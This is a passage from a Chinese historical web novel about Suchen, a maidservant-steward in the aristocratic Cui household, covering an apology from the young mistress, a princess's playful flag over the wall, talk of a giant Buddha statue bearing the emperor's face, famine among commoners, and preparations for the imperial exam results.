素尘没想到她会为那天的事道歉,一时间也不知如何反应。
因为无论谁错,不会是主人的错。
她张了张嘴,喃喃说:“所以那天小姐您后来看见了?”
“兄长将你带回院里时,我去瞧了一眼……”她哽咽,伸手指了指素尘脖间。
素尘左右见无人经过此处,便将自己盘扣解开些:“您瞧,好多了。”
上面的勒痕已经消去,只剩下些许青红色。
崔明锦没说话,只是默默松开自己的手。她将镯子戴了回去,只是那盒礼,却是直接让悦姑娘送到院里。
她失神离开了。
素尘目送她,心里却微暖,有一些身份成见,也有一些连自己都不甚在意的东西因为崔明锦的这句道歉变得更加无法忽视,也变得更加弱小。
她不知崔明锦所想。
更不知崔明锦回到自己房中,与晓悦说:“我这镯子你能戴吗?”
她褪下,试着戴到晓悦腕间。
崔明锦作为崔府金枝玉叶的嫡出小姐,自是集崔老夫人最多心力护着长大的姑娘。她才二八年华,脸上还带着些肉,但她本就被养得丰腴漂亮。
胳膊白皙如玉,骨上覆着一层美人皮,在腕间宽大的玉镯下显得更加圆润可爱。
那镯子到了晓悦腕间虽有些大了,但也挂的住。
“素尘的手腕一点儿肉都没有,根本戴不了镯子。”她声音低落。
晓悦心里知晓素尘的辛苦,但她终究是崔明锦的婢女,故而安慰说:“素尘姑娘本就比一般人瘦些。”
“她以前手上的镯子都取了。”
此话一出,晓悦张张嘴,却说不出什么。
最后只得拍拍崔明锦的背,劝慰道:“姑娘不必多想,素尘姑娘也没觉得是您的错。”
这边的主仆二人依偎在一起,而素尘不觉自己如此瘦弱,正指挥着府丁将院子里新进的花盆移来,其他已经败了的就先挪走,免得坏了府中花景。
待到选公子院里的花盆时,开门的素尘却顿住了。
公子院与隔壁府邸只有一墙之隔,但旁边府邸自从上任主人被贬谪以后,早就不知落到谁的手里,已经无人居住了。
但此刻她分明看到墙那头伸起一根杆子,上边挂着一黄色旗子。
本与她无关,但上面写的字着实让她脑袋一蒙。
“今日天气也不错,交个朋友?”
见她愣神,身后抱着花的府丁提醒:“姑娘?”
砰——
素尘身影消失在门后,本为他们打开的院门也被关得死死的。
“姑娘……”
门里传来素尘的声音:“抱歉,请等我片刻。啊!花先放地上吧。”
素尘提起裙角,向那处跑去,但还不等她想办法和对面人沟通,那根杆子就顺势收下。
“……”
根本不给她婉拒的机会!
头一次吃了哑巴亏的素尘跺了跺脚,才转头去开门。
这事压在心里未免难受,她便等崔明安回府时问了出来:“今日花匠送花时,隔壁府邸有些动静,难道是先前那位大人回来了?”
崔明安靠在摇椅上,手里把玩着旁边盆中花瓣动作不停,随口说道:“隔壁早就转入华宁殿下手下。”
跪坐在一旁的素尘心道果然,继续问道:“隔壁竟是公主殿下?今日怎么突然来人了?”
崔明安见她问个不停,收起手中正在看的书册,直起身看着她:“之前我本想买下这府邸,省的日后不清静,但公主殿下说……”
他顿了顿,看着素尘懵懂的眸子,语气变得戏谑:“说她日后可是要在里头养面首的,必是会离我院子远远的。”
公主?面首?
素尘脸顿时红了起来。
“今日公主府的马车确实在隔壁府门停了片刻,怕是真来了位面首……”
崔明安故意拉长尾音,看着她不知所措。
“公子何苦揶揄奴婢?奴婢也不是尚未及笄的孩子。”素尘有些气恼。
崔明安哈哈大笑,他笑着说:“真真冤枉,我也是这个时候才想起你是个姑娘家,难怪他们谈及我婚事时总要防着你……”
他话说得坦荡,自是一副清正公子做派。
话是浑话,却让人挑不出错。只得评价一句真是个爽朗的公子。
既然提起这事,旁边文竹二人也开始聊了起来。
“我们二人倒是不怕,但素尘作为姑娘家早就到了适婚的年纪了吧?”文竹提起。
素尘皱眉:“怎么啦?”
文竹笑嘻嘻地说:“既然那些个想当崔夫人的小姐们都忌惮着你,与其到时避着,不如先嫁个如意郎君。”
见他越说越来劲,素尘得了崔明安的默许,便上前拧他。
文竹早就做好准备,与她生活了这么些年,自是熟悉一切招数。
“素尘娘子可别生气,哈哈……喂!云竹!你这个叛徒!”
文竹被云竹死死禁锢住,愤恨地喊着。
素尘上前死死地拧着他的胳膊:“谁是素尘娘子!”
被他一打岔,素尘早就将公主府的事压在心底,眼神悄悄看向一旁坐着的崔明安。
趁着他们三人打闹,崔明安却望着那院墙,眼中笑意荡然无存。
“……”
素尘眼睛微眯。
果然,崔明安过了一会开口提起正事:“茶楼虽然重新开门做生意了,但如今京城确实有几分动荡不安。大理寺查到我们身上,那就证明这大理寺确实没什么能耐。”
这话说的过分,素尘忍不住笑了笑。
“之前让你尽量少出府,所以以后茶楼的账就先让文竹管。”
“啊?”素尘看向自己身旁的文竹,“他不是不会看账吗?”
“他会,”崔明安看着她,“在你进府前就学过了,所以你不知晓。”
“……”
“有些复杂难懂的,便再来问你。”
莫名被剥夺了平日出府机会的素尘扯着笑,故作不在意地答道:“好。”
“但……”素尘不
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解,“京中城南究竟为何而乱?”
崔明安开口:“佛头已经安上了。”
“!”素尘瞪大眼睛。
“是的。”文竹拍拍她的肩。
崔明安看着她:“你近来白日确实忙,但佛头已经快安好了,确实是陛下的模样。”
院子里忽然安静下来。
云竹下意识地脚尖点地,攀着屋侧爬上屋顶,环顾四周确定无人偷听。
素尘张了张嘴,她猛地看向南边方法向。
但公子院看不见那头,而且天色已经完全暗下。
“这也……太快了吧。”
素尘皱眉,就算头早已刻好只待安装,这速度也着实快了些。
但又无需崔明安多说,她已经知晓原因。
陛下所想,自是有人前仆后继为他实现。集全京之力无法做到的,便加上京周各州。若是还无法得到的,便集全国之力。
普天之下莫非王土,这位陛下倒是贯彻得彻底。
“……”
崔明安见她脸色不好看,知她与乞儿见过,便耐下性子安慰道:“待会试殿试结束,各位考生各自返乡,便好治理得多。”
“他们活的到这个时候吗?”
不该多嘴的,但素尘看着他轻松的模样,实是不解。
明明孩子和老人撑不下去。
崔明安眸子微冷:“科考重要,必是出不得差错,朝廷放粮,世家施粥,已是为他们争取生机,自是不至于叫他们饿死。但若是科考出错,挑了群贪官污吏,下派地方,怕是更多人会被饿死。”
“……”可是三四月雨季,怕是那些失去房子的百姓更多的是会病死。
“兹事体大,我们自是有考量的。”
素尘逾矩了。
她住了嘴,跪下请罪。
崔明安看着她,没说话,只起身拂袖而去。
“我也知百姓辛苦,只是如今我们也做不了什么……要以大局为重。”
他留下这样一句话,便直接离开了。
跪在院里的素尘被已经落地的云竹扶起来,她扯出笑,和面带担忧的云竹文竹二人说:“无事,方才是我逾矩了。”
她与他们道了晚安,便回房歇息了。
这次梦里出现了在宫宴上陛下的脸,有出现了那无头的石佛像,随后又看见了张不开嘴的公子,她上前想帮他将嘴上封条撕开,却被公主叫住。
“等等!”
素尘停下,她转头看去,却发现除了公主,四周围着的官员嘴上都贴着封条,眼神呆滞地跪下参拜坐于石佛脖颈处的陛下。
她伸手摸了摸自己的嘴,却发现自己也被封上了一半的封条。
“啊——”她尖叫出声,一瞬间,那封条被扯烂,身旁的那些人一个个消散,最后只剩下公主在消失前轻轻一笑:“你还没回答我呢!到底和不和我做朋友?”
“是!是!是!我们是朋友!”素尘尖叫着坐起身来。
她睁开眼睛,发现全都是梦,自己身上已经被汗浸湿。
门外传来云竹的声音:“没事吧?”
今夜是他守夜,听见动静便赶忙往她这跑。
“无碍,做了个梦罢了。”
“噩梦。”她强调。
32. 第 32 章
“素尘姑娘?快下来!”
素尘抬手放在眼上,挡着刺眼的阳光,愣神地望着南边的巨佛。
但下面的人哪管她在看什么,只慌忙地扶住有些摇晃的梯子,怕这位管事姑娘突然掉下来。
既然已经确认石佛着实安上,素尘低头和下面的悦姑娘笑了笑:“别慌,我现在就下来。”
晓悦没答话,平时稳重得体的素尘忽然抓住木梯就往上爬,吓得刚好路过的她赶忙放下手里折的花,跑来扶住梯子。
见素尘在上面停住了,她体贴地微笑:“上去容易,下来确实有点……”
她声音越来越低,看着素尘三下五除二地爬了下来。
甚至在离地还有些距离时直接跳了下来,拍拍手:“你说什么?”
“……”
从小在崔府长大的晓悦抬头看了看那木梯,没多说什么。
只是捧起自己放下的花,就准备离开。
本以为和平时一样,两人就会这么擦肩而过,结果素尘忽然出声拦住她:“你……看到那城南的石佛了吗?”
晓悦歪头,奇怪地上下打量她:“看得到啊,走到开阔点的园子里抬头便能看到……素尘姑娘不会是为了看这个便爬上去了吧?”
“你知道那是什么佛吗?”素尘紧紧盯着她。
被她眼神看得心里发毛的晓悦低头,鼻尖触到怀中花朵,才慢慢开口:“那倒是不知道,可能是我见识短浅吧。”
她自小就在小姐身旁服侍,虽不如素尘这种需要出府办事的管事见识多,但她帮崔明锦抄的佛书可不少。
连她都没见过……她当然没见过,久居深闺的少女怎么会见到大明宫里昏庸的皇帝呢?
素尘心里不免嘲讽。
难怪她在府里听不到消息,原来是没什么人见过陛下啊。
“素尘姑娘,我……先走了?”晓悦小声试探。
素尘伸手拂过那几朵尤其娇艳的海棠,笑道:“我也要去忙了。”
两人互相屈膝行礼之后便各自离开了,只是晓悦转角后小声嘟囔:“素尘自进宫以后,心思愈发难猜了。”
这位一向了得的崔府女管事若是那天去宫里做了女官,她也是不意外的。
被自己想法逗笑,晓悦回院的脚步都轻快一些。
这边的素尘自是不知有人已经开始想她当官了,她皱着眉头坐在账房里发愁。
崔府作为高姓世家之首,府里一应支出自是不少,只是平日府里铺子收来的银子足够府里花销,但近来城中生意萧条了许多,铺子收了消息关了几日,从去年开始倒是不足了。
“这月虽是入不敷出,但咱们府家大业大,您也不必如此忧心吧?”旁边整理账本的先生看了她一眼,将她要的其他账本拿过来。
素尘只是笑笑,没有多说。
她又翻开一本,仔细看着上边画了圈的几笔账。
再高再大的金山,若是一直这般下去,总会等来一个大窟窿,将这座山挖空。如果素尘只是一个普通侍婢,主家出了事,她尚能被遣散,但可惜她不是……
所以她略有些杞人忧天地担心起自己未来的月份能否按时发出。
忽然有一串冰冷的物件贴在她耳后,激得她缩了缩脖子:“嗯?”
她抬手捉那物件,回头望去,确实一根金条。本来带着些不耐的表情瞬间变得乖顺起来。
“公子,你回来啦!”
她眉眼弯弯,笑时总喜欢轻轻咬着下唇,瞧着平白多了几分无辜清丽。若是现在看着她的不是崔明安,或者她手能从那根金条上松开半分,怕真的会被她骗过去。
但这是崔明安,所以一眼识破她心中所求。可也正是因为是崔明安,素尘知道自己无需掩饰,他就会拿这些“小玩意”打发自己。
见她捏着不松,崔明安饶有兴味地松开自己的手。
见她将那金条恭恭敬敬地捧在手里,才抬头殷勤地问:“公子今日怎么回得这般早?”
他官袍还未换下,头发整齐地束在玉冠之中,俊逸的脸全然露出。
“再过几日便放榜了,会考一事已经大致收尾了,陛下便特赦我们这些考官今日休息,”崔明安坐在文竹挪来的椅子上,单手撑着脑袋,神情慵懒,“但时可要与我一同去贡院看榜?”
“?”素尘不动声色地将桌上账本关上,面上带着做作的疑惑。
本朝科考,考官与学子们虽不应过于亲近,但放榜之时,学子们的身份便发生了改变,既中榜者已是天子门生,自是值得各位权贵们与他们喝一杯酒的。
约定俗成,各位考官和那些有榜下捉婿想法的大人们明日都要在礼部东墙百米开外的酒楼里一聚,俗称闻喜宴,中榜学子都可上楼参宴庆祝。
只是今年……
“今年的闻喜宴不是在卢府举办?”素尘眼睛眨啊眨,她手旁边那没打开的礼册可都是明日要送去卢府的贺礼啊。
崔明安笑了:“所以我们先去贡院金榜前凑凑热闹啊。”
他抬手,将素尘头上因刚才动作有些歪的发钗扶正:“听闻你对那石佛好奇至极,顺便去看看吧……那处可是看那巨佛最好的位置。”
他语气奇怪,但却无甚恶意:“今年各位大人都不去那儿,说不定可以看见什么往年瞧不见的趣事。”
素尘称是。
素尘随他回了公子院,账本事宜已经无需多看,她将需要注意的事吩咐给了先前搭话的先生,又将府里上下打点一番。
“怎么今日如此忙?”听她又一次小声与人交谈,崔明安忍不住停下脚步回头。
原来她是在与花匠等人说话,文竹问道:“府里花草不是已经休整过吗?”
花匠见崔明安瞧了过来,连忙解释:“素尘姑娘是嘱咐小人过几日将那些怕雨淹的花提前挪走……”
他第一次与府里主子搭话,声音还发着抖,但眼里却是对素尘的信任。
“下雨?”文竹抬头,分明是艳阳高照的日子,这些天甚至都回暖了,怎还需特地嘱咐呢?
崔明安没有抬头,只是听了他的话以后看向了素尘:“要连日下雨?”
素尘点头:“嗯。”
她倒是没有像司天台灵台郎那般细致肯定,只是一些从记忆中已经模糊的爹娘那里学来的经验罢了。
崔明安的表情复杂,
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他紧紧盯着自己,然后素尘感觉有几分喘不过气来。
“也……也不过是奴婢的猜测罢了。”素尘讪笑。
“司天台给出的消息可是一滴雨都不会下……”崔明安皱眉,“总不会是无缘无故猜的,你是为何这么想?”
素尘如实说道:“因为这些天回温了,但无风闷热,每年这个时候都要下场雨……奴婢也就是……”
没等她说完,崔明安低声唤了声:“文竹,将人请来问问。”
司天台的人吗?素尘心想,难道自己多嘴了?
崔明安没给她反应的时间,抬腿继续往前走,步幅之大让素尘只好马上跟上去。
被留在原地的花匠顿了顿,深吸一口气,勇敢地开口:“所以……这花还要搬吗?小人也觉得可能要下雨……”
“……”素尘迟疑,偷偷瞟了一眼前面崔明安的脑袋。
他停下,回头先是低头扫了素尘一眼,再淡淡地说:“搬吧,小姐喜欢这些花。”
虽然话里是对崔明锦的关心,只是他语气却不甚真诚。
他的温柔与冬日的暖阳一般,明亮却泛着如冰雪般白皙的冷意,疏离又耀眼。
这就是崔府家主崔明安。
与雪同名的素尘在心底暗自打趣。
进了公子院,二人都下意识望向素尘房前的银铃。
真如她所说那般毫无动静。
崔明安收回眼神,却不着急进屋将官袍换下,只是对镜又端正发上玉冠,神色平静地在院中竹亭坐着。
文竹带着人进来,素尘垂头退下沏茶。
她遥遥扫了一眼来人,却匆匆敛眸。
来的人不是司天台灵台郎,是几个府里大人。
崔明安脸色不算难看,眼里却没什么欢迎的神色。今日叫他们来,自然不只是请大家饮茶赏景。
文竹得了指示,便悄然走到素尘身边,低声提醒:“借着沏茶的名义回避下。”
“今日应煮什么茶?府里近来多了好些茶。”素尘目不斜视,仿佛两人没有出声交流。
“大人们喜欢精细些的。”文竹语气轻松,带着平日总带着的笑意。
素尘得了话,眼里也闪过一丝笑意,两人相视时,都看到了彼此藏不住的狡黠。
公子院里有专门煮茶的茶室,素尘推门而入,将木窗打开,让院子里的人能瞧见她泡茶的模样。
鹤珍擅茶,身边侍婢素尘茶艺自是闻名京中贵妇圈中。坐于茶室,一举一动皆是艺术。
这处位置极有趣味,坐于亭中的人一眼可以看见茶室中沏茶的动作,与院中窗前梅枝小潭相称,略有几分江南风情。
那边的人如今没甚心情观赏素尘沏茶动作,偶尔瞧上一眼也找不出错处来。
他们交谈声起,传进素尘耳朵时已经消散得七八分。
她垂眸专注手中事,在听见一位大人似是气急声起,便将手中井水放下,转而从架上取出一玉瓶。
构造独特,里边存着的是闻着清香的冰。
文竹留云竹一人,自己进茶室帮她。刚好见她取出玉瓶的动作,忍不住小声感叹:“去年梅上雪?果真是精细啊……”